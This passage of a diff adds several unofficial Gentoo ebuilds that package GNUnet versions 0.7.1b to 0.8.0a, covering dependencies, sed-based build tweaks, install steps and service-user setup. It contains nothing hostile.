+	cd ${S}
+#	epatch ${FILESDIR}/${P}-nulludp.patch
+
+	# make mysql default sqstore if we do not compile sql support 
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk	
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+		autoconf || die "autoconf failed"
+		libtoolize --copy --force
+	fi
+}
+
+src_compile() {
+
+	local myconf
+
+	if use ipv6; then
+		if use amd64; then
+			ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled"
+		else
+			myconf="${myconf} --enable-ipv6"
+		fi
+	fi
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		$(use_enable guile) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} || die "make install failed"
+	dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README	README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	exeinto /etc/init.d
+	newexe ${FILESDIR}/${PN}-2 gnunet
+	dodir /var/lib/GNUnet
+	chown gnunet:gnunet ${D}/var/lib/GNUnet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunet:gnunet /var/lib/GNUnet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "  1) Add user(s) to the gnunet group"
+	einfo "  2) Run 'gnunet-setup' to generate your client config file"
+	einfo "  3) Run gnunet-setup -d to generate a server config file"
+	einfo "  4) Optionally copy the .gnunet/gnunetd.conf into /etc and"
+	einfo "\tuse as a global server config file:"
+	einfo "$ gnunet-setup -d"
+	einfo "# cp ~/.gnunet/gnunetd.conf /etc/"
+	einfo
+}
+
diff --git a/net-p2p/gnunet/gnunet-0.7.1b.ebuild b/net-p2p/gnunet/gnunet-0.7.1b.ebuild
new file mode 100644
index 00000000..e589eafe
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.7.1b.ebuild
@@ -0,0 +1,122 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils libtool
+
+MY_PV=${PV/_/}
+S="${WORKDIR}/GNUnet-${MY_PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://www.gnu.org/software/GNUnet/"
+SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2"
+#tests don't work
+RESTRICT="test nomirror"
+
+IUSE="ipv6 mysql sqlite guile nls gtk"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.13
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=dev-db/mysql-4.0.24 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	>=dev-scheme/guile-1.8.0
+	nls? ( sys-devel/gettext )"
+
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunet || die "Problem adding gnunet group"
+	enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd ${S}
+#	epatch ${FILESDIR}/${P}-nulludp.patch
+
+	# make mysql default sqstore if we do not compile sql support 
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk	
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+		autoconf || die "autoconf failed"
+		libtoolize --copy --force
+	fi
+}
+
+src_compile() {
+
+	local myconf
+
+	if use ipv6; then
+		if use amd64; then
+			ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled"
+		else
+			myconf="${myconf} --enable-ipv6"
+		fi
+	fi
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		$(use_enable guile) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} || die "make install failed"
+	dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README	README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	exeinto /etc/init.d
+	newexe ${FILESDIR}/${PN}-2 gnunet
+	dodir /var/lib/GNUnet
+	chown gnunet:gnunet ${D}/var/lib/GNUnet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunet:gnunet /var/lib/GNUnet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "  1) Add user(s) to the gnunet group"
+	einfo "  2) Run 'gnunet-setup' to generate your client config file"
+	einfo "  3) Run gnunet-setup -d to generate a server config file"
+	einfo "  4) Optionally copy the .gnunet/gnunetd.conf into /etc and"
+	einfo "\tuse as a global server config file:"
+	einfo "$ gnunet-setup -d"
+	einfo "# cp ~/.gnunet/gnunetd.conf /etc/"
+	einfo
+}
+
diff --git a/net-p2p/gnunet/gnunet-0.7.2b.ebuild b/net-p2p/gnunet/gnunet-0.7.2b.ebuild
new file mode 100644
index 00000000..9d1e9395
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.7.2b.ebuild
@@ -0,0 +1,120 @@
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+WANT_AUTOCONF=2.5
+WANT_AUTOMAKE=1.9
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.13
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd ${S}
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	if use ipv6; then
+		if use amd64; then
+			ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled"
+		else
+			myconf="${myconf} --enable-ipv6"
+		fi
+	fi
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		$(use_enable guile) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} || die "make install failed"
+	dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README	README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd ${FILESDIR}/${PN}-2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd ${D}/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd /var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d to generate a server config file"
+	einfo "	 4) Optionally copy the .gnunet/gnunetd.conf into /etc and"
+	einfo "\tuse as a global server config file:"
+	einfo "$ gnunet-setup -d"
+	einfo "# cp ~/.gnunet/gnunetd.conf /etc/"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.7.2c.ebuild b/net-p2p/gnunet/gnunet-0.7.2c.ebuild
new file mode 100644
index 00000000..16b65f93
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.7.2c.ebuild
@@ -0,0 +1,121 @@
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+WANT_AUTOCONF=2.5
+WANT_AUTOMAKE=1.9
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.13
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	net-libs/libmicrohttpd"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd ${S}
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	if use ipv6; then
+		if use amd64; then
+			ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled"
+		else
+			myconf="${myconf} --enable-ipv6"
+		fi
+	fi
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		$(use_enable guile) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} || die "make install failed"
+	dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README	README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd ${FILESDIR}/${PN}-2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd ${D}/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd /var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d to generate a server config file"
+	einfo "	 4) Optionally copy the .gnunet/gnunetd.conf into /etc and"
+	einfo "\tuse as a global server config file:"
+	einfo "$ gnunet-setup -d"
+	einfo "# cp ~/.gnunet/gnunetd.conf /etc/"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.7.3.ebuild b/net-p2p/gnunet/gnunet-0.7.3.ebuild
new file mode 100644
index 00000000..5bea2021
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.7.3.ebuild
@@ -0,0 +1,116 @@
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+WANT_AUTOCONF="latest"
+WANT_AUTOMAKE="latest"
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.18a
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd ${S}
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	if use ipv6; then
+		if use amd64; then
+			ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled"
+		else
+			myconf="${myconf} --enable-ipv6"
+		fi
+	fi
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		$(use_enable guile) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} || die "make install failed"
+	dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README	README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd ${FILESDIR}/${PN}-2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd ${D}/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd /var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.0.ebuild b/net-p2p/gnunet/gnunet-0.8.0.ebuild
new file mode 100644
index 00000000..82f8957a
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.0.ebuild
@@ -0,0 +1,107 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+S="${WORKDIR}/GNUnet-${MY_PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.18a
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable ipv6) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild b/net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild
new file mode 100644
index 00000000..82f8957a
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild
@@ -0,0 +1,107 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+S="${WORKDIR}/GNUnet-${MY_PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.18a
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable ipv6) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild b/net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild
new file mode 100644
index 00000000..82f8957a
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild
@@ -0,0 +1,107 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+S="${WORKDIR}/GNUnet-${MY_PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.18a
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable ipv6) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.0a.ebuild b/net-p2p/gnunet/gnunet-0.8.0a.ebuild
new file mode 100644
index 00000000..9bfc2022
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.0a.ebuild
@@ -0,0 +1,106 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.18a
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
